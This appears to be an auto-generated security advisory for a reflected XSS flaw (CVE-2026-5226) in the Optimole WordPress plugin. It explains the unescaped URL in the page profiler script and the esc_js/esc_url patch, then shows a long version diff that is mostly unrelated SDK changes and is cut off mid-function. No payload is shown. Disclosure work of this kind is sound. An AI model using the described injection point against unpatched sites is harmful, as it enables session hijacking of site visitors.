Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : April 18, 2026

CVE-2026-5226: Optimole <= 4.2.3 – Reflected Cross-Site Scripting via Page Profiler URL (optimole-wp)

CVE ID CVE-2026-5226
Plugin optimole-wp
Severity Medium (CVSS 6.1)
CWE 79
Vulnerable Version 4.2.3
Patched Version 4.2.4
Disclosed April 9, 2026

Analysis Overview

Atomic Edge analysis of CVE-2026-5226:
This vulnerability is a reflected cross-site scripting (XSS) flaw in the Optimole WordPress plugin versions up to and including 4.2.3. The vulnerability exists in the plugin’s page profiler functionality, allowing unauthenticated attackers to inject arbitrary JavaScript via manipulated URL paths. The CVSS score of 6.1 indicates a medium severity issue with potential for client-side code execution.

Root Cause:
The vulnerability originates from insufficient output escaping in the get_current_url() function within the manager.php file. At line 456 in the vulnerable version, the plugin retrieves the current URL via $this->get_current_url() and directly inserts it into JavaScript code using str_replace() without proper context-aware escaping. The URL value replaces the Profile::PLACEHOLDER_URL placeholder in the $js_optimizer string, which is then injected into HTML output. This direct insertion of user-controlled URL data into a JavaScript context creates an XSS vector.

Exploitation:
Attackers can exploit this vulnerability by crafting malicious URLs containing JavaScript payloads in the path component. When a victim visits a WordPress site with the vulnerable Optimole plugin active and accesses a page with the page profiler functionality enabled, the attacker-controlled URL path gets embedded into the page’s JavaScript. The payload executes in the victim’s browser context. The attack requires the victim to click on a specially crafted link, making this a classic reflected XSS attack vector.

Patch Analysis:
The patch in optimole-wp/inc/manager.php at lines 456-457 adds two layers of escaping before using the URL value. The code now calls esc_url(esc_js($this->get_current_url())) instead of directly using $this->get_current_url(). The esc_js() function properly escapes the URL for JavaScript context, converting characters like quotes and angle brackets to their HTML entities. The esc_url() function provides additional URL validation. The escaped value is then used both in the HMAC calculation and in the str_replace() operation, ensuring the URL is safe for JavaScript insertion.

Impact:
Successful exploitation allows attackers to execute arbitrary JavaScript in the context of the victim’s browser session. This can lead to session hijacking, account takeover, content manipulation, or redirection to malicious sites. Since the vulnerability affects unauthenticated users, it presents a significant risk for WordPress sites using the vulnerable plugin versions.

Differential between vulnerable and patched code

Below is a differential between the unpatched vulnerable code and the patched update, for reference.

Code Diff
--- a/optimole-wp/inc/manager.php
+++ b/optimole-wp/inc/manager.php
@@ -453,10 +453,11 @@
 				if ( ! $this->page_profiler->exists_all( $profile_id ) ) {
 					$missing = $this->page_profiler->missing_devices( $profile_id );
 					$time = time();
-					$hmac = wp_hash( $profile_id . $time . $this->get_current_url(), 'nonce' );
+					$url  = esc_url( esc_js( $this->get_current_url() ) );
+					$hmac = wp_hash( $profile_id . $time . $url, 'nonce' );
 					$js_optimizer = str_replace(
 						[ Profile::PLACEHOLDER, Profile::PLACEHOLDER_MISSING, Profile::PLACEHOLDER_TIME, Profile::PLACEHOLDER_HMAC, Profile::PLACEHOLDER_URL ],
-						[ $profile_id, implode( ',', $missing ), strval( $time ), $hmac, $this->get_current_url() ],
+						[ $profile_id, implode( ',', $missing ), strval( $time ), $hmac, $url ],
 						$js_optimizer
 					);
 					$html = str_replace( Optml_Admin::get_optimizer_script( true ), $js_optimizer, $html );
--- a/optimole-wp/optimole-wp.php
+++ b/optimole-wp/optimole-wp.php
@@ -2,7 +2,7 @@
 /**
  * Plugin Name:       Image optimization service by Optimole
  * Description:       Complete handling of your website images.
- * Version:           4.2.3
+ * Version:           4.2.4
  * Author:            Optimole
  * Author URI:        https://optimole.com
  * License:           GPL-2.0+
@@ -87,7 +87,7 @@
 	}
 	define( 'OPTML_URL', plugin_dir_url( __FILE__ ) );
 	define( 'OPTML_PATH', plugin_dir_path( __FILE__ ) );
-	define( 'OPTML_VERSION', '4.2.3' );
+	define( 'OPTML_VERSION', '4.2.4' );
 	define( 'OPTML_NAMESPACE', 'optml' );
 	define( 'OPTML_BASEFILE', __FILE__ );
 	define( 'OPTML_PRODUCT_SLUG', basename( OPTML_PATH ) );
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/load.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/load.php
@@ -14,7 +14,7 @@
 	return;
 }
 // Current SDK version and path.
-$themeisle_sdk_version = '3.3.50';
+$themeisle_sdk_version = '3.3.51';
 $themeisle_sdk_path    = dirname( __FILE__ );

 global $themeisle_sdk_max_version;
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Loader.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Loader.php
@@ -64,6 +64,7 @@
 		'announcements',
 		'featured_plugins',
 		'float_widget',
+		'migrator',
 	];
 	/**
 	 * Holds the labels for the modules.
@@ -72,10 +73,11 @@
 	 */
 	public static $labels = [
 		'announcements'    => [
-			'notice_link_label' => 'See the Offer',
-			'max_savings'       => 'Our biggest sale of the year: <strong>%s OFF everything!</strong>  Don't miss this limited-time offer.',
-			'black_friday'      => 'Black Friday Sale',
-			'time_left'         => '%s left',
+			'notice_link_label'   => 'See the deals',
+			'max_savings'         => 'Best WordPress Black Friday deals of %s — themes, plugins, hosting. Curated by the Themeisle team.',
+			'black_friday'        => 'Black Friday Sale',
+			'time_left'           => '%s left',
+			'plugin_meta_message' => 'Black Friday Sale - 60% OFF',
 		],
 		'compatibilities'  => [
 			'notice'        => '%s requires a newer version of %s. Please %supdate%s %s %s to the latest version.',
@@ -108,10 +110,14 @@
 			'valid'               => 'Valid',
 			'invalid'             => 'Invalid',
 			'notice'              => 'Enter your license from %s purchase history in order to get %s updates',
-			'expired'             => 'Your %s's License Key has expired. In order to continue receiving support and software updates you must  %srenew%s your license key.',
+			'expired'             => '%s license expired',
+			'expired_date'        => 'Expired on %s',
+			'expired_notice'      => 'Your current setup continues working, but premium features are disabled and you're no longer receive updates - including critical patches - or support.',

 			'inactive'            => 'In order to benefit from updates and support for %s, please add your license code from your  %spurchase history%s and validate it %shere%s.',
 			'no_activations'      => 'No more activations left for %s. You need to upgrade your plan in order to use %s on more websites. If you need assistance, please get in touch with %s staff.',
+			'renew_license'       => 'Renew License',
+			'learn_more'          => 'Learn More',
 		],
 		'promotions'       => [
 			'recommended'     => 'Recommended by %s',
@@ -249,9 +255,9 @@
 			'cta' => 'Rollback to v%s',
 		],
 		'logger'           => [
-			'notice' => 'Do you enjoy <b>{product}</b>? Become a contributor by opting in to our anonymous data tracking. We guarantee no sensitive data is collected.',
-			'cta_y'  => 'Sure, I would love to help.',
-			'cta_n'  => 'No, thanks.',
+			'notice' => 'Help improve <b>{product}</b> by sharing anonymous usage data about your setup. No personal data collected.',
+			'cta_y'  => 'Count me in',
+			'cta_n'  => 'No thanks',
 		],
 		'about_us'         => [
 			'title'            => 'About Us',
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/About_us.php
@@ -96,6 +96,9 @@
 			return;
 		}

+		// Refresh the about data to get the latest changes.
+		$this->about_data = apply_filters( $this->product->get_key() . '_about_us_metadata', array() );
+
 		add_submenu_page(
 			$this->about_data['location'],
 			Loader::$labels['about_us']['title'],
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Abstract_Migration.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Abstract_Migration.php
@@ -0,0 +1,88 @@
+<?php
+/**
+ * The abstract migration class for ThemeIsle SDK.
+ *
+ * @package     ThemeIsleSDK
+ * @subpackage  Modules
+ * @copyright   Copyright (c) 2024, Themeisle
+ * @license     http://opensource.org/licenses/gpl-3.0.php GNU Public License
+ * @since       3.3.50
+ */
+
+namespace ThemeisleSDKModules;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Abstract base class for SDK migrations.
+ *
+ * Migration files should return an anonymous class instance extending this class:
+ *
+ *   return new class extends ThemeisleSDKModulesAbstract_Migration {
+ *       public function up() { ... }
+ *   };
+ */
+abstract class Abstract_Migration {
+	/**
+	 * WordPress database object.
+	 *
+	 * @var wpdb
+	 */
+	protected $wpdb;
+
+	/**
+	 * WordPress table prefix.
+	 *
+	 * @var string
+	 */
+	protected $prefix;
+
+	/**
+	 * WordPress charset and collation string.
+	 *
+	 * @var string
+	 */
+	protected $charset_collate;
+
+	/**
+	 * Constructor. Populates database helpers.
+	 */
+	public function __construct() {
+		global $wpdb;
+		$this->wpdb            = $wpdb;
+		$this->prefix          = $wpdb->prefix;
+		$this->charset_collate = $wpdb->get_charset_collate();
+	}
+
+	/**
+	 * Run the migration.
+	 */
+	abstract public function up();
+
+	/**
+	 * Reverse the migration.
+	 *
+	 * Override in concrete migrations to undo what up() did. Called by
+	 * Migrator::rollback() — never invoked automatically.
+	 *
+	 * @return void
+	 */
+	public function down() {
+		// No-op by default. Override to implement rollback logic.
+	}
+
+	/**
+	 * Determine whether this migration should run.
+	 *
+	 * Override to add a custom idempotency check beyond name-based tracking.
+	 * Return false to skip the migration without recording it.
+	 *
+	 * @return bool
+	 */
+	public function should_run() {
+		return true;
+	}
+}
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Announcements.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Announcements.php
@@ -22,8 +22,9 @@
  * Announcement module for the ThemeIsle SDK.
  */
 class Announcements extends Abstract_Module {
-
+
 	const SALE_DURATION_BLACK_FRIDAY = '+7 days'; // DateTime modifier. (Include Cyber Monday)
+	const MINIMUM_INSTALL_AGE        = 3 * DAY_IN_SECONDS;

 	/**
 	 * Mark if the notice was already loaded.
@@ -33,8 +34,15 @@
 	private static $notice_loaded = false;

 	/**
+	 * Mark if the plugin meta link was already loaded.
+	 *
+	 * @var boolean
+	 */
+	private static $meta_link_loaded = false;
+
+	/**
 	 * The product to be used.
-	 *
+	 *
 	 * @var string
 	 */
 	private static $current_product = '';
@@ -63,15 +71,16 @@
 	 */
 	public function load( $product ) {
 		$this->product = $product;
-
+
 		add_filter(
 			'themeisle_sdk_is_black_friday_sale',
 			function( $is_black_friday ) {
 				return $this->is_black_friday_sale( $this->get_current_date() );
 			}
 		);
-
-		add_action( 'admin_init', array( $this, 'load_announcements' ) );
+
+		add_action( 'admin_menu', array( $this, 'load_announcements' ), 9 );
+		add_action( 'wp_ajax_themeisle_sdk_dismiss_black_friday_notice', array( $this, 'disable_notification_ajax' ) );
 	}

 	/**
@@ -80,23 +89,29 @@
 	 * @return void
 	 */
 	public function load_announcements() {
-		if ( ! $this->is_black_friday_sale( $this->get_current_date() ) ) {
+		$current_date = $this->get_current_date();
+		if ( ! $this->is_black_friday_sale( $current_date ) ) {
 			return;
 		}
-
+
+		if ( self::MINIMUM_INSTALL_AGE > ( $current_date->getTimestamp() - $this->product->get_install_time() ) ) {
+			return;
+		}
+
 		add_action( 'admin_notices', array( $this, 'black_friday_notice_render' ) );
-		add_action( 'wp_ajax_themeisle_sdk_dismiss_black_friday_notice', array( $this, 'disable_notification_ajax' ) );
+
 		add_action(
 			'themeisle_internal_page',
 			function( $plugin, $page_slug ) {
 				self::$current_product = $plugin;
 			},
 			10,
-			2
+			2
 		);
-	}
-

+		add_filter( 'plugin_row_meta', array( $this, 'add_plugin_meta_links' ), 10, 2 );
+		add_filter( $this->product->get_key() . '_about_us_metadata', array( $this, 'override_about_us_metadata' ), 100 );
+	}

 	/**
 	 * Get the remaining time for the event in a human-readable format.
@@ -176,7 +191,7 @@

 	/**
 	 * Get the notice data.
-	 *
+	 *
 	 * @return array The notice data.
 	 */
 	public function get_notice_data() {
@@ -187,10 +202,12 @@
 		if ( ! empty( $this->product ) ) {
 			$utm_location = $this->product->get_friendly_name();
 		}
-
-		$sale_title   = Loader::$labels['announcements']['black_friday'];
-		$sale_url     = tsdk_translate_link( tsdk_utmify( 'https://themeisle.com/blackfriday/', 'bfcm25', $utm_location ) );
-		$sale_message = sprintf( Loader::$labels['announcements']['max_savings'], '50%' );
+
+		$sale_title = Loader::$labels['announcements']['black_friday'];
+		$sale_url   = tsdk_translate_link( tsdk_utmify( 'https://themeisle.com/blackfriday/', 'bfcm26', $utm_location ) );
+
+		$current_year = $this->get_current_date()->format( 'Y' );
+		$sale_message = sprintf( Loader::$labels['announcements']['max_savings'], $current_year );

 		return array(
 			'title'     => $sale_title,
@@ -212,45 +229,57 @@
 			return;
 		}
 		self::$notice_loaded = true;
-
-		$all_configs = apply_filters( 'themeisle_sdk_blackfriday_data', array( 'default' => $this->get_notice_data() ) );

-		if ( empty( $all_configs ) ) {
+		$current_user_id = get_current_user_id();
+
+		if ( ! $this->can_show_notice( $this->get_current_date(), $current_user_id ) ) {
 			return;
 		}

-		$data = end( $all_configs );
-
-		if ( ! empty( self::$current_product ) && isset( $all_configs[ self::$current_product ] ) ) {
-			$data = $all_configs[ self::$current_product ];
-		}
+		$all_configs = apply_filters( 'themeisle_sdk_blackfriday_data', array( 'default' => $this->get_notice_data() ) );

-		if ( empty( $data ) || ! is_array( $data ) ) {
+		if ( empty( $all_configs ) || ! is_array( $all_configs ) ) {
 			return;
 		}
-
-		$current_user_id = get_current_user_id();
-		$can_dismiss     = true;

-		if ( ! empty( $data['dismiss'] ) ) {
-			$can_dismiss = $data['dismiss'];
-		} else {
-			// Disable by default if we are on a product page.
-			if ( 0 < did_action( 'themeisle_internal_page' ) ) {
-				$can_dismiss = false;
+		$data         = isset( $all_configs['default'] ) ? $all_configs['default'] : $this->get_notice_data();
+		$products     = Loader::get_products();
+		$current_time = $this->get_current_date()->getTimestamp();
+		$can_show     = false;
+
+		// Check if we have products that are eligible to show the notice with the default data. If the product provide its own config, use it.
+		foreach ( $products as $product ) {
+			$slug = $product->get_slug();
+
+			if ( self::MINIMUM_INSTALL_AGE < ( $current_time - $product->get_install_time() ) ) {
+				$can_show = true;
+
+				if ( isset( $all_configs[ $slug ] ) && ! empty( $all_configs[ $slug ] ) && is_array( $all_configs[ $slug ] ) ) {
+					$data = $all_configs[ $slug ];
+
+					if ( self::$current_product === $slug ) {
+						$data = $all_configs[ $slug ];
+						break;
+					}
+				}
 			}
 		}

-		if ( $can_dismiss && ! $this->can_show_notice( $this->get_current_date(), $current_user_id ) ) {
+		if ( ! $can_show ) {
 			return;
 		}

+		$displayed_on_internal_page = 0 < did_action( 'themeisle_internal_page' );
+
+		$title              = ! empty( $data['title'] ) ? $data['title'] : Loader::$labels['announcements']['black_friday'];
+		$time_left_label    = ! empty( $data['time_left'] ) ? $data['time_left'] : '';
+		$message            = ! empty( $data['message'] ) ? $data['message'] : '';
 		$logo_url           = ! empty( $data['logo_url'] ) ? $data['logo_url'] : $this->get_sdk_uri() . 'assets/images/themeisle-logo.png';
 		$cta_label          = ! empty( $data['cta_label'] ) ? $data['cta_label'] : Loader::$labels['announcements']['notice_link_label'];
 		$sale_url           = ! empty( $data['sale_url'] ) ? $data['sale_url'] : '';
-		$hide_other_notices = ! empty( $data['hide_other_notices'] ) ? $data['hide_other_notices'] : ! $can_dismiss;
-		$dismiss_notice_url = wp_nonce_url(
-			add_query_arg(
+		$hide_other_notices = ! empty( $data['hide_other_notices'] ) ? $data['hide_other_notices'] : $displayed_on_internal_page;
+		$dismiss_notice_url = wp_nonce_url(
+			add_query_arg(
 				array( 'action' => 'themeisle_sdk_dismiss_black_friday_notice' ),
 				admin_url( 'admin-ajax.php' )
 			),
@@ -260,7 +289,7 @@
 		if ( empty( $sale_url ) ) {
 			return;
 		}
-
+
 		if ( ! current_user_can( 'install_plugins' ) ) {
 			$sale_url = remove_query_arg( 'lkey', $sale_url );
 		}
@@ -347,13 +376,13 @@
 				</div>
 				<div class="themeisle-sale-content">
 					<h4 class="themeisle-sale-title">
-						<?php echo esc_html( $data['title'] ); ?>
+						<?php echo esc_html( $title ); ?>
 						<span class="themeisle-sale-time-left">
-							<?php echo esc_html( $data['time_left'] ); ?>
+							<?php echo esc_html( $time_left_label ); ?>
 						</span>
 					</h4>
 					<p>
-						<?php echo wp_kses_post( $data['message'] ); ?>
+						<?php echo wp_kses_post( $message ); ?>
 					</p>
 				</div>
 				<div class="themeisle-sale-action">
@@ -365,11 +394,9 @@
 					<?php echo esc_html( $cta_label ); ?>
 					</a>
 				</div>
-				<?php if ( $can_dismiss ) : ?>
 				<a href="<?php echo esc_url( $dismiss_notice_url ); ?>" class="themeisle-sale-dismiss">
 					<span class="dashicons dashicons-dismiss"></span>
 				</a>
-				<?php endif; ?>
 			</div>
 		</div>
 		<script>
@@ -380,7 +407,7 @@
 				if ( ! bannerRoot || ! saleNotice ) {
 					return;
 				}
-
+
 				bannerRoot.appendChild(saleNotice);
 			};

@@ -405,8 +432,115 @@
 		if ( empty( $return_page_url ) ) {
 			$return_page_url = admin_url();
 		}
-
+
 		wp_safe_redirect( $return_page_url );
 		exit;
 	}
+
+	/**
+	 * Add the plugin meta links.
+	 *
+	 * @param array<string, string> $links The plugin meta links.
+	 * @param string                $plugin_file The plugin file.
+	 * @return array<string, string> The plugin meta links.
+	 */
+	public function add_plugin_meta_links( $links, $plugin_file ) {
+		if ( self::$meta_link_loaded ) {
+			return $links;
+		}
+
+		if ( $plugin_file !== plugin_basename( $this->product->get_basefile() ) ) {
+			return $links;
+		}
+
+		$configs = apply_filters( 'themeisle_sdk_blackfriday_data', array( 'default' => $this->get_notice_data() ) );
+
+		if ( empty( $configs ) || ! is_array( $configs ) ) {
+			return $links;
+		}
+
+		$current_slug = $this->product->get_slug();
+		$data         = isset( $configs[ $current_slug ] ) && ! empty( $configs[ $current_slug ] ) && is_array( $configs[ $current_slug ] ) ? $configs[ $current_slug ] : array();
+
+		$plugin_meta_message = '';
+		$plugin_meta_url     = '';
+
+		if ( isset( $data['plugin_meta_targets'] ) && ! empty( $data['plugin_meta_targets'] ) && ! in_array( $current_slug, $data['plugin_meta_targets'] ) ) {
+			return $links; // The current configuration is for another plugins.
+		}
+
+		$plugin_meta_message = ! empty( $data['plugin_meta_message'] ) ? $data['plugin_meta_message'] : '';
+		$plugin_meta_url     = ! empty( $data['sale_url'] ) ? $data['sale_url'] : '';
+
+		if ( empty( $plugin_meta_url ) || empty( $plugin_meta_message ) ) {
+
+			// Check if a configuration is in another plugin.
+			$products = Loader::get_products();
+			foreach ( $products as $product ) {
+				$slug = $product->get_slug();
+
+				if ( $slug === $current_slug || ! isset( $configs[ $slug ] ) || empty( $configs[ $slug ] ) || ! is_array( $configs[ $slug ] ) ) {
+					continue;
+				}
+
+				if ( ! empty( $configs[ $slug ]['plugin_meta_targets'] ) && in_array( $current_slug, $configs[ $slug ]['plugin_meta_targets'] ) ) {
+					$plugin_meta_message = ! empty( $configs[ $slug ]['plugin_meta_message'] ) ? $configs[ $slug ]['plugin_meta_message'] : '';
+					$plugin_meta_url     = ! empty( $configs[ $slug ]['sale_url'] ) ? $configs[ $slug ]['sale_url'] : '';
+					break;
+				}
+			}
+		}
+
+		if ( empty( $plugin_meta_url ) || empty( $plugin_meta_message ) ) {
+			return $links;
+		}
+
+		$links[] = sprintf( '<a class="themeisle-sale-plugin-meta-link" style="color: red;" href="%s" target="_blank">%s</a>', esc_url( $plugin_meta_url ), esc_html( $plugin_meta_message ) );
+
+		self::$meta_link_loaded = true;
+
+		return $links;
+	}
+
+	/**
+	 * Override the About Us upgrade menu during Black Friday.
+	 *
+	 * Registered dynamically during admin_menu when sale is active.
+	 * Only applies if About_Us module is loaded for the product.
+	 *
+	 * @param array<string, mixed> $about_data About Us metadata.
+	 *
+	 * @return array<string, mixed>
+	 */
+	public function override_about_us_metadata( $about_data ) {
+		if ( ! $this->is_black_friday_sale( $this->get_current_date() ) ) {
+			return $about_data;
+		}
+
+		if ( empty( $about_data ) || ! is_array( $about_data ) ) {
+			return $about_data;
+		}
+
+		if ( empty( $about_data['has_upgrade_menu'] ) || true !== $about_data['has_upgrade_menu'] ) {
+			return $about_data;
+		}
+
+		$configs = apply_filters( 'themeisle_sdk_blackfriday_data', array( 'default' => $this->get_notice_data() ) );
+
+		$current_slug = $this->product->get_slug();
+		if ( ! isset( $configs[ $current_slug ] ) || empty( $configs[ $current_slug ] ) || ! is_array( $configs[ $current_slug ] ) ) {
+			return $about_data;
+		}
+
+		$config = $configs[ $current_slug ];
+
+		if ( empty( $config['upgrade_menu_text'] ) || empty( $config['sale_url'] ) ) {
+			return $about_data;
+		}
+
+		$about_data['upgrade_text'] = $config['upgrade_menu_text'];
+		$about_data['upgrade_link'] = $config['sale_url'];
+
+		return $about_data;
+	}
 }
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Licenser.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Licenser.php
@@ -380,7 +380,7 @@
 		$status                 = $this->get_license_status( true );
 		$no_activations_string  = apply_filters( $this->product->get_key() . '_lc_no_activations_string', Loader::$labels['licenser']['no_activations'] );
 		$no_valid_string        = apply_filters( $this->product->get_key() . '_lc_no_valid_string', sprintf( Loader::$labels['licenser']['inactive'], '%s', '<a href="%s" target="_blank">', '</a>', '<a href="%s">', '</a>' ) );
-		$expired_license_string = apply_filters( $this->product->get_key() . '_lc_expired_string', sprintf( Loader::$labels['licenser']['expired'], '%s', '<a href="%s" target="_blank">', '</a>' ) );
+		$expired_license_string = apply_filters( $this->product->get_key() . '_lc_expired_heading_string', Loader::$labels['licenser']['expired'] );
 		// No activations left for this license.
 		if ( 'valid' != $status && $this->check_activation() ) {
 			?>
@@ -403,12 +403,72 @@

 		// Invalid license key.
 		if ( 'active_expired' === $status ) {
+			// Check if the notice was dismissed.
+			$dismiss_option_key = $this->product->get_key() . '_expired_notice_dismissed';
+			if ( get_option( $dismiss_option_key, false ) ) {
+				return false;
+			}
+
+			$license_data    = get_option( $this->product->get_key() . '_license_data', '' );
+			$expiration_date = '';
+			if ( is_object( $license_data ) && isset( $license_data->expires ) ) {
+				$timestamp = strtotime( (string) $license_data->expires );
+				if ( false !== $timestamp ) {
+					$expiration_date = gmdate( 'F j, Y', $timestamp );
+				}
+			}
+
+			$discount_config = apply_filters( $this->product->get_key() . '_lc_renew_discount', false );
+
+			if ( is_array( $discount_config ) && isset( $discount_config['url'] ) && isset( $discount_config['renew_button'] ) ) {
+				$renew_url    = $discount_config['url'];
+				$renew_button = $discount_config['renew_button'];
+			} else {
+				$renew_url    = apply_filters( $this->product->get_key() . '_lc_renew_url', $this->renew_url() );
+				$renew_button = apply_filters( $this->product->get_key() . '_lc_renew_button_string', Loader::$labels['licenser']['renew_license'] );
+			}
+
+			$learn_more_url    = apply_filters( $this->product->get_key() . '_lc_learn_more_url', $this->get_api_url() );
+			$learn_more_button = apply_filters( $this->product->get_key() . '_lc_learn_more_button_string', Loader::$labels['licenser']['learn_more'] );
+			$notice_message    = apply_filters( $this->product->get_key() . '_lc_expired_notice_message', Loader::$labels['licenser']['expired_notice'] );
+
+			$expired_date_string = apply_filters( $this->product->get_key() . '_lc_expired_date_string', sprintf( Loader::$labels['licenser']['expired_date'], esc_html( $expiration_date ) ) );
+			$heading             = apply_filters( $this->product->get_key() . '_lc_expired_heading_string', sprintf( Loader::$labels['licenser']['expired'], $this->product->get_name() ) );
+			$notice_id           = $this->product->get_key() . '_expired_notice';
 			?>
-			<div class="error">
-				<p>
-					<strong><?php echo sprintf( wp_kses_data( $expired_license_string ), esc_attr( $this->product->get_name() . ' ' . $this->product->get_type() ), esc_url( $this->get_api_url() . '?license=' . $this->license_key ) ); ?> </strong>
+			<div class="notice notice-warning notice-alt is-dismissible themeisle-sdk-license-notice" id="<?php echo esc_attr( $notice_id ); ?>" data-notice-id="<?php echo esc_attr( $notice_id ); ?>" style="position: relative; border-left: 4px solid #d63638; padding: 12px; background-color: #fff;">
+				<p style="margin: 0.5em 0; font-size: 13px;">
+					<strong><?php echo wp_kses_post( $heading ); ?></strong>
+					 · <?php echo esc_html( $expired_date_string ); ?>
+				</p>
+				<p style="margin: 0.5em 0 1em 0; font-size: 13px;">
+					<?php echo esc_html( $notice_message ); ?>
+				</p>
+				<p style="margin: 0.5em 0;">
+					<a href="<?php echo esc_url( $renew_url ); ?>" class="button button-primary" target="_blank" rel="noopener noreferrer">
+						<?php echo esc_html( $renew_button ); ?>
+					</a>
+					<a href="<?php echo esc_url( $learn_more_url ); ?>" class="button" target="_blank" rel="noopener noreferrer" style="border: none; background-color: transparent;">
+						<?php echo esc_html( $learn_more_button ); ?>
+					</a>
 				</p>
 			</div>
+			<script type="text/javascript">
+				jQuery(document).ready(function($) {
+					$('#<?php echo esc_js( $notice_id ); ?>').on('click', '.notice-dismiss', function(e) {
+						const noticeId = '<?php echo esc_js( $notice_id ); ?>';
+						$.ajax({
+							url: ajaxurl,
+							type: 'POST',
+							data: {
+								action: 'themeisle_sdk_dismiss_license_notice',
+								notice_id: noticeId,
+								nonce: '<?php echo esc_js( wp_create_nonce( 'themeisle_sdk_dismiss_license_notice' ) ); ?>'
+							}
+						});
+					});
+				});
+			</script>
 			<?php

 			return false;
@@ -1045,6 +1105,32 @@
 		add_action( 'admin_init', array( $this, 'product_valid' ), 99999999 );
 		add_action( 'admin_notices', array( $this, 'show_notice' ) );
 		add_filter( $this->product->get_key() . '_license_status', array( $this, 'get_license_status' ) );
+		add_action( 'wp_ajax_themeisle_sdk_dismiss_license_notice', array( $this, 'dismiss_license_notice' ) );
+	}
+
+	/**
+	 * Handle AJAX request to dismiss the license notice.
+	 */
+	public function dismiss_license_notice() {
+		if ( ! isset( $_POST['nonce'] ) || ! wp_verify_nonce( sanitize_text_field( $_POST['nonce'] ), 'themeisle_sdk_dismiss_license_notice' ) ) {
+			wp_send_json_error( 'Invalid nonce' );
+		}
+
+		if ( ! current_user_can( 'manage_options' ) ) {
+			wp_send_json_error( 'Insufficient permissions' );
+		}
+
+		$notice_id = isset( $_POST['notice_id'] ) ? sanitize_text_field( $_POST['notice_id'] ) : '';
+
+		if ( empty( $notice_id ) ) {
+			wp_send_json_error( 'Missing notice ID' );
+		}
+
+		// Save the dismissal option.
+		$dismiss_option_key = $notice_id . '_dismissed';
+		update_option( $dismiss_option_key, true );
+
+		wp_send_json_success();
 	}

 	/**
--- a/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Migrator.php
+++ b/optimole-wp/vendor/codeinwp/themeisle-sdk/src/Modules/Migrator.php
@@ -0,0 +1,177 @@
+<?php
+/**
+ * The migrator module for ThemeIsle SDK.
+ *
+ * @package     ThemeIsleSDK
+ * @subpackage  Modules
+ * @copyright   Copyright (c) 2024, Themeisle
+ * @license     http://opensource.org/licenses/gpl-3.0.php GNU Public License
+ * @since       3.3.50
+ */
+
+namespace ThemeisleSDKModules;
+
+use ThemeisleSDKCommonAbstract_Module;
+use ThemeisleSDKProduct;
+
+// Exit if accessed directly.
+if ( ! defined( 'ABSPATH' ) ) {
+	exit;
+}
+
+/**
+ * Migrator module for ThemeIsle SDK.
+ *
+ * Allows products to ship PHP migration files that run automatically on
+ * admin page loads. Each product opts in by registering its migrations
+ * directory via the `{product_slug}_sdk_migrations_path` filter.
+ */
+class Migrator extends Abstract_Module {
+	/**
+	 * Option key suffix used to store the list of ran migrations.
+	 */
+	const OPTION_SUFFIX = '_ran_migrations';
+
+	/**
+	 * Check if we should load the module for this product.
+	 *
+	 * Always returns true — the actual path check happens lazily at admin_init.
+	 *
+	 * @param Product $product Product to load the module for.
+	 *
+	 * @return bool
+	 */
+	public function can_load( $product ) {
+		return apply_filters( $product->get_slug() . '_sdk_enable_migrator', true );
+	}
+
+	/**
+	 * Load module logic.
+	 *
+	 * @param Product $product Product to load.
+	 *
+	 * @return Migrator
+	 */
+	public function load( $product ) {
+		$this->product = $product;
+		add_action( 'admin_init', array( $this, 'run_pending' ) );
+		add_action( 'themeisle_sdk_rollback_migration_' . $product->get_slug(), array( $this, 'rollback' ) );
+		return $this;
+	}
+
+	/**
+	 * Discover and run any pending migrations for the product.
+	 *
+	 * Only runs when a version upgrade was detected during this request, indicated
+	 * by the themeisle_sdk_update_{slug} action having fired.
+	 *
+	 * @return void
+	 */
+	public function run_pending() {
+		if ( ! did_action( 'themeisle_sdk_update_' . $this->product->get_slug() ) ) {
+			return;
+		}
+
+		$path = $this->get_migrations_path();
+
+		if ( empty( $path ) || ! is_dir( $path ) ) {
+			return;
+		}
+
+		$files = glob( trailingslashit( $path ) . '*.php' );
+
+		if ( empty( $files ) ) {
+			return;
+		}
+
+		sort( $files ); // Alphabetical order = chronological order given timestamp naming.
+
+		$option_key = $this->product->get_key() . self::OPTION_SUFFIX;
+		$ran        = get_option( $option_key, array() );
+
+		foreach ( $files as $file ) {
+			$name = basename( $file, '.php' );
+
+			if ( in_array( $name, $ran, true ) ) {
+				continue;
+			}
+
+			try {
+				$migration = require $file; // Migration files return an anonymous class instance.
+
+				if ( ! ( $migration instanceof Abstract_Migration ) ) {
+					continue;
+				}
+
+				if ( ! $migration->should_run() ) {
+					continue;
+				}
+
+				$migration->up();
+				$ran[] = $name;
+				update_option( $option_key, $ran );
+			} catch ( Throwable $e ) {
+				// Log and stop — leave the migration unrecorded so it retries next load.
+				// phpcs:ignore WordPress.PHP.DevelopmentFunctions.error_log_error_log
+				error_log( 'ThemeIsle SDK Migrator: failed to run ' . $name . ': ' . $e->getMessage() );
+				break;
+			}
+		}
+	}
+
+	/**
+	 * Roll back a single migration by name.
+	 *
+	 * Calls down() on the migration and removes it from the ran list so it will
+	 * be picked up again on the next upgrade. This method is never called
+	 * automatically — products invoke it explicitly when needed.
+	 *
+	 * @param string $migration_name Migration basename without .php extension.
+	 *
+	 * @return bool True if rolled back successfully, false if not found or not previously run.
+	 */
+	public function rollback( $migration_name ) {
+		$option_key = $this->product->get_key() . self::OPTION_SUFFIX;
+		$ran        = get_option( $option_key, array() );
+
+		if ( ! in_array( $migration_name, $ran, true ) ) {
+			return false;
+		}
+
+		$path = $this->get_migrations_path();
